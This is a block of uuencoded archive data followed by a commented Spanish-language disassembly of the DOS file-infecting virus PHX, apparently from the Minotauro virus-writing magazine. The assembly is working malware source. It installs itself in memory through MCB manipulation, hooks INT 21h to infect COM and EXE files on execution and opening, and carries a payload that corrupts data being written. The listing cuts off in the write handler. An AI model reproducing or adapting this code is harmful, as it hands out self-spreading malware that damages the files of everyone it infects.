MES<2>'K=-U/5 D:K-H&8=U;)EFNZ@&7JMW^IX7E<%G*9Q4F)53\@47X+>((S
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
ML0=G##+I>/G+/=*^0 \]_B(;\++RNL/O-<X@_,^^E2+L;;V<N-JMM  ;#&]"
M#>,+<:_T\&GJO@23X] X#3UJ\4 18:-0OAH+NK"]_$QLJ44';X0/-"!U;&P\
M#+4R$,45"8/QQ0)W]' S$V-SB<'ZJAPPM&^>['"0M:ZCR\@MG0PPR2*79)%,
M&M6<L3@0@TRQ+!O+[,J_B9ITSDOOP Q+S(78A#)/_=!$#L]!K:0O3A>E;(Q*
M)>=D=!&PVN3Q)"X7-4\R/G7R<RI )8RQ4D*_,G3*2_TP,\,U(ZW23AS^Q;OR
M.#9*[3+3'W-$4L4W"?Q453=')916 >LCL;\A(:445&5]U>Q05[4[-=8/O4,V
MT'2$%5-+8#&+]LC5OCQ6VDBSI!!;:G/K%E%UGUTWW)=ZS5;6;?=+=U=SX52W
MVF7)G19??8>="UYQDV5VWW/]]7159T,]<UYN!?8V8B(QM?;;@2M.]$2(*[PV
M778_'E+;$AOU6%Z'>]PX5X,E5AG@"MEMF6!['V7JWG9[W71<J&Q]56;R^CRY
MXY1[QGAB5.L,^=*<?<90Y&Y*[G?BI8N.65>B5S;Z:DF#WG!H19G.^C$M0<;9
M:GR%=7I,A9NE>F>S;V:UCJ.C!I=3K@->>UEZF"_&U>*SE7Y[[Z]%[3IOBK&>
M>^M_$V^59H2-M?MNR2>GO'+++\<\<\TWY[QSSS\'/7311R>]=--/1SUUU5=G
MO7777X<]=MEGI[UVVV_'/7?==^>]=]]_!SYXX8<GOGCCCT<^>>679[YYYY^'
M/GKIIZ>^>NNOQW[4"   .U!+ P0*      !I)2L>I4ZP27D3  !Y$P  "P
M %1)14U03U,N1TE&1TE&.#=A@ +@ 9,         JP"K  "KJZL  *L JZM7
M *NKJU=75U=7_U?_5U?___]75_]7____5____RP     @ +@ 0,$_O#)2:N]
M..O-N_]@*(YD:9YHJJYLZ[YP+,]T;=]XKN]\[__ H'!(+!J/R*1RR6PZG]"H
M=$JM6J_8K';+[7J_/8!83"&#S^BT>LT>FL?MN'Q.K]LGYL<;(,G?_X"!@H,Y
M<'A\>HA^A(R-CH^0AQ9[?8B1EYB9FE^+E8>=FZ&BHZ1N8WMYH*6KK*VNK["Q
MLK-"EK9XN'VY>KNWNK^\P+[!Q,/&O<C"R<7+Q\K/S-#.T=33ULW8TMG5V]?:
MW]S2I^/DY>;GZ+3JZ^Q@EF'M\?+S4.\\]O3Y^OL[^#K^_ (*')@"( Z#!!,J
M7'@!H0V'#"-*Y >11L6)&#.JNRB#H\:/_B!+>80Q,J3)DY!*NE")LJ7+.RQ9
MQ'Q)LV::F2IPVMS)$XM.%#]["AW:)*@)HT23*JT%!.G2IU /-HU*M>H2IR.P
M6MW*E836$%^[BAV;(>P'LV33DD7;@:W:MU;=;I +M^Y2NF7MZMWK 2\&OWP#
MNP0\2;!APX0K)#[,>.+B78TCIWT,3++EKI2)7=Y<-7-FSJ#9>0Y-^N[4TJB%
MCDY=1M%GUBE/PT[D:7;&U;,I)3*T6Y7M=;AAZQ[N^C>]X*R)U]9M/![RY+R5
MTV[N7+9M/^,^^:8>ZWGS3MNYR_(NOCQ%ZZ31J5_/OKW[]_#CRY]/O[[]^_CS
MZ]\/ORG__P &_BC@@/V9U])K!B:HX((,)H1@@Q!&*.&$65%HX8489NB@AAQV
MZ.&'7H$HXH@DEFC'@R:FJ.**2J'(XHLPQKBBBS+6:..-Y^&HXXX\]MB0CT &
M*:1)- YIY)&8$:CDDDPVZ>234$8IY91/HE0DDEAV9."56;K3Y9=J<'D=F&N(
M2>:9%9IG)II7K,GFFW,AZ2:<8-%IIQ1STI3GG47QZ2<3>Z;W9Q:!#GIFH58:
MZ@JBBG;)Z&:/*AIIHT=.^I&EE-Z3Z:::5LII%)A^RF.H&)$JJD6GIJJEIZI>
MU>JK,FT):R2FSLIBK8+A"J>NMIK(JT*_]EI"L,*"2&Q=QSIW2D[)_K;0;+%U
M,'?4LRM0JX^U4!&'W;*5H,);)MA"VT9VTTF[7'&CA(O9==&1VYMVYFJBKKAA
M\A%O:[7AFZZL.VKK[3ON<BLOO03_)2=T5":L\#D%-]S@O Y''#'$<4EL\<7]
M8JSQQEY0W!G'((<LHL<BE]PHR5&A;/+*+,NC<LLPH_FR:3'7;'-N-^>L\TH'
M[^SSSX@!+32."Y-7R,*U(!U$T4DK3)#1<D MU0^O27V#U>U@729Z\%"=TPE:
MH^KU0&'?Q'6G/E1]=C]K']?VU4N_/77:3(%M=]QC"U0V&GO'T#=)<L.==T!_
M<Q+X0X>W=3?=>#.N=^)A0CY#X3P/[GC7_H];SK;D@#>.N>8BX*0VZ/E0WH7I
ML9+^#^=^LSZ>ZX:K7@CLA1U%N[.W+YK[%JA7N_O7LL_]>8Z7HUW\YK\O'KSB
MMGMN//'#GY@\4-,K_WSTJY-=O16] W]\B,U_CSSVI6]?1?<%F0^^^-FS/P_Z
MX;N/N//CR\_\L'7;G[7Z4\!O??WD$Y[^)O<T_N')@'5:7E_^USX%$E![#HQ<
M!!\X0+%5D((!?!\"%[C!^TVP<[L37?XRZ+(..L%_\;N>"F='OP9";X5S0"'^
M/IB7% (0AH++W 7Y9D(/XE" -PPB$*_50PU\1H;K(V$.9\A$&E9.ATID Q+3
MM,/6.?$%4QS8_A4[5L0X;5$Q#&1A%PT&P2IZZ8NI,R,6QUA#-<(BBV=IH1C1
MF#XY@D"$=ESB"X48-3:2T8VXHZ/WHB@:/QX!CG=,'AX!F49" L>01D!D' 59
M1T;ZCI(B@21D'&E%35;&DHO$9!.CQJUO]44EDCRA)S?)QR'.T9+4HP,HPM,0
M5*YRA#_48RLG.<I=S@^6_?-'*KY%KGO]D9,\%*4-78C,->;QEZ2LY;GR)0E:
MEF&51[RE9G()S21249G?C,,LT14O@7$0F#[19BI]Z,L:K#.2PB0GNO!E358R
M,UKJ5&0877G/5XI38,/<EB&,^2-P4N&=7D3G/G7)30SNL9_\C&@W_IOY1#J&
M4J'>K%?1ZMF1C3J-:AOU#]- .M*T>?0_@(K(S @UM);""J$3NBA%71K.F3:R
M9BMMZ$MR2M.>!LV@'I*I3GV:T:&"T&8\A2A/DDK4IL(%IA(2:CN=&CI<3I5C
M3)6H3;)*U:YR!:H1DJI2O5I3HSKS9ER=Z%#22M:VT@RCQEJH5MUZ3J F,F=L
MM6"+Z,I71VDS6TKKI5G["L9GNG.0@QU17AU*%+ 2]JM_S9A=]8*ZT3VVK%<]
MZC+]::/%KNJM-KUL9!P[)-)NI;)6%2T[$WM3P7*V1I[MY%XGJ]K)1%9'IJT8
M&BU;V[K"M:J5#.V'8JO9QMZVMSO)+9"4_DL5U!H6N?;,[%GE>MA1J31;QX6N
MGK+;6>ZN-7>\U6X;:;M:S,YU1M=]"G/%FUSORFB]V-UM:ME[S><RMJBO?6]Z
M0<M:^MH%OI+]+5^<ZUZ1A5>ZQ^SO</<[6P&/A1R7!3!N"[Q4\,[W?>:DIRV(
MBXD#CY67PMU+.>?)40YPN*))D7!-S#5,2;A4Q7K*\+9X4>*4DO>I%K;O1DRY
MB'*HZ<(,-6^00T.&%BNFR#4V(H-33&$BD5.:U!0:C+M[X[<0N,J$.*F6M\SE
M+GMY2B*E3V^H-.8OF]G'KF+(B9.P9O^ZF193-HY8\^M?#]/99&V^)'_?S&<+
MQ?DW<SXO=.TL_FBL+MFX?4ZTGYN<'.JJ]<V$'O+*\HQ81"OZTA#Z\Y@V^V'Q
M1OK1+*-T<)F,Z5(O2-,XX_2=V?OIZJ+UT-\UM:S?>.9:V_K6N,ZUKG?-ZX3%
MJ-5ZQ2FL53/K8G,'U<)QM*L5#>S[MDS4L=RSL:>-&F0W6M6%[FVS/XO48?<$
MVM0.=Q^Q3*% 2YJ^VY:ML-4<7W&[&S363HVY05UG(-,;S]ZN\+OW?9EX5UO9
MP>YSNHL+,W!C>ZO\3OAH&2UO@#O;S0.?[KH78G =*_SBZR)W3!W.[41'',4Q
MJSA^OXWQDHN8X?\^^+VS9DH79U@\'P_DGU0A'3T#J]VXC:?+16[R_C+A8\;3
MX8*_2S/O95/$'CV>9WEBWEH[ 5U?24[HS=4[JNC\I>4];]70!:5RHV.XUV /
MN]C'3G;VE%E*9R_[1Y7 <^!*.^MP_YC&H\IQ=0O<WEXO>+[;&_>^GQ;E1*\[
MP2&-]X#KG=U4][OB4P9XKKNVT]IENLTG/O6W+_[R?'<PAXIN>,);?/"AWCO"
M,4]Z8L\]K(*7^-T_K_K#4QSGI8_]3AM/Y-2#G,^2K[3K*]]@V?L^4:?/M.UE
MSNS"/WS2HE_Q[Y=_DJW7ONN=A[CQ.Q[RY&^7^=C7B//A/?RF>QZ;.FM[ BV?
M_?)#4<$IXOSQT3U]N^]^0XDWO_SAKWD-_JF?^I1U/]OU3[JP"!,]%P$1_I=M
M=_53T35Y^]=Q18(69N(1 %-8_$=\K9<K#+@F47='#5B!;.>  '&!9\$6'GA*
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
MW=(PO,L5?- IO<@SO<G7C-1/O=+=/-0Z'=(4_=--'<P [=)&3=0U_=4L#=6
M3,\#HM1I;-0X3=9OG-55O<]V/-(F+=1L3<Y''==A+=51;=-_7-=OK1]F/=$W
MK=;<K,543=<Y7:=__;)=?=8GJ]6 W=:(S-=RW=@ZN],T?==%#;39S,+\7,^)
MG-'@7,MSK=AB;<H;W=>/_=GEB]>J7;N5;==>'=24G=JD3<O O->R/-MTFMBG
M#=:.?=MT'=L^[,]JW=M7[;>C/=@7&-@*K=FUK=>&/<Z9#-MKS-JF[=FP;-VO
MW-FTG<+I[->%+=FR+<YH?<+8O=T][=RU0;K>[-W>[OW>\!W?\CW?]%W?]GW?
M^)W?^KW?_-W?_OW? ![@ C[@!%[@!G[@")[@"K[@#-[@#O[@$![A$EZH$0
M #M02P$"%  4  ( " #S>5/RC40&HWU   !<?P  "@           "
M    3$5#5$]2+D5815!+ 0(4  H      #TP,!X]]:SYJQH  *L:   *
M        (    *5   !,14-43U(N1TE&4$L! A0 "@      :24K'J5.L$EY
M$P  >1,   L            @    >%L  %1)14U03U,N1TE&4$L%!@     #
-  , J0   !IO

end
; Virus: PHX (PHX.823, Willistrover, o mejor, Tracker)
; Infector parasitico de COM/EXE, residente via MCB

; Desensamblado por Trurl para Minotauro Magazine

code segment para public
       assume cs:code, ds:code, es:code, ss:code
       org 100h
       .386
vsize                   equ             vend-vstart
vsip                    equ             (vsize+15)/16

start:
       jmp vstart
       db 0, 21h

       db "Oh! Que hago aqui en el area [Virus Sources] de esta BBS, si yo "
       db "pertenezco a una nota de Minotauro Magazine? Oh! "
       db "Lo mas gracioso es que he observado que los Sysops ni siquiera se"
       db "molestan en sacar estos textos antes de poner estos virus en las"
       db "areas de Virus Sources de sus BBS. Los miraran los sources?"
       db "No dejen de leer el proximo numero!"
       db "    Trurl, TGC [Iaba Daba DAN]"

vstart: ; instalacion desde un COM.
       PUSH    CS              ; para despues poder salir con un RETF
       PUSH    100h
       PUSH    CS
       MOV     AX,0B974h ; Chequeo de residencia
       INT     21h
       CMP     AX,2888h ; BUG :-) Se carga en memoria + de 1 vez, si se corren
       JZ      inmem   ; varios COM infectados... :-(. El valor seria 2808h
       MOV     BX,cs:[101h] ; obtener el offset del virus dentro del file
       ADD     BX,103h ; mediante sumar 103 al JMP NEAR del principio

       CALL    mcbres          ; residencia via MCB
       CALL    hookints        ; colgarse de las ints
inmem:
       ; restablecer los 3 bytes originales. Estos 3 bytes estan en el c�digo.
       ; por eso todo este quilombo.
       db      36h,0c7h,6,0,1; MOV WORD PTR SS:[100], orbytes1
orbytes1                db              0b4h, 4ch
       db              36h, 0c6h,6,2,1; MOV WORD PTR SS:[102], orbytes2
orbytes2                db              0cdh
       POP     AX
       MOV     DS,AX   ; DS=ES=CS
       MOV     ES,AX
       RETF    ; ir al prog. original

instlexe: ; instalacion desde un EXE
       MOV     AX,ES
       ADD     AX,10h ; ax = fin del PSP
       ADD     cs:[Instl_CS-vstart],AX ; realocatear para el JMP
       ADD     cs:[Instl_SS-vstart],AX
       MOV     AX,0B974h ; Chequeo de residencia
       INT     21h
       CMP     AX,2808h ; este esta bien.
       JZ      inmemexe
       PUSH    ES
       PUSH    DS
       XOR     BX,BX ; el virus esta en el off. cero
       CALL    mcbres ; quedar residente
       CALL    hookints ; colgarse de todo..
       POP     DS
       POP     ES
inmemexe:
       ; para poner SS:SP y CS:IP (el JMP) en los valores originales..
       ; estos valores estan "en el c�digo", de nuevo.
       MOV     SS,cs:[Instl_SS-vstart]
       db 0bch ; mov sp, Instl_SP
Instl_SP          dw    0
       db 0eah; JMP far
Instl_IP   dw   0
Instl_CS   dw  0
Instl_SS   dw  0

mcbres: ; residencia MCB..
; en BX viene el offset del virus, en ES devuelve el bloque en mem. alta.
       PUSH    BX
       MOV     AX,ES
       DEC     AX
       MOV     ES,AX
       MOV     BX,es:[3] ; BX=Size del bloque
       SUB     BX,(endheap-vstart+15)/16+1; restar 41h para
       INC     AX
       MOV     ES,AX
       MOV     AH,4Ah ; resizear el bloque a 41h para menos.
       INT     21h
       MOV     AH,48h ; pedir 40 para.
       MOV     BX,(endheap-vstart+15)/16; 40h
       INT     21h
       DEC     AX
       MOV     ES,AX
       MOV     WORD PTR es:[1],8; owner=dos
       MOV     WORD PTR es:[8],5053h; en el field name pone "SP".. ?
       INC     AX
       MOV     ES,AX
       XOR     DI,DI
       POP     SI ; ds:si=vir. en mem.
       MOV     BX,SI
       MOV     CX,vsize; copiar el virus a mem. alta.
       db 2eh ; CS:
       REPZ
       MOVSB
       RET
cmpadd:
       ; esto lo usa para reconocimiento de un programa... hace un c�digo
       ; coherente (no es "texto") pero igual lo pongo asi porque nunca recibe
       ; el control, solo sirve para la comparacion.
       db      73h,5,0BAh,0B9h,2,0EBh,0E0h,0A3h,0C0h,1,0B4h,3Fh,8Bh,1Eh,0C0h,1
       db      72h,0C7h,0A3h,5,1,8Bh,0D8h,0B8h,0,3Fh,0B9h,0,1,0BAh,48h,0C8h
       db      72h,0C1h,0A3h,5,1,8Bh,0D8h,0B8h,0,3Fh,0B9h,0,1,0BAh,1Ah,0CAh

newint21:
       CMP     AH,4Bh
       JZ      execprog
       CMP     AX,3D02h
       JZ      openf
       CMP     AX,0B974h
       JZ      rescheck
       CMP     AH,40h
       JZ      write
quit21:
                                       db              0eah ; JMP FAR
oldint21                        dd              0

write: ; activacion.
       CMP     BYTE PTR cs:[actvar-vstart],1 ; ?
       JZ      isone
       JMP     quit21
isone:
       PUSH    AX
       PUSH    SI
       CMP     AX,1 ;
       JZ      quitwrite
       MOV     AL,5
       OUT     70h,AL ; chequear que el contador de instalaciones en CMOS
       IN      AL,71h  ; sea mayor a 80h (128).
       CMP     AL,80h
       JB      quitwrite
       MOV     SI,DX
       ADD     SI,CX
       XOR     BYTE PTR [SI],80h; ?
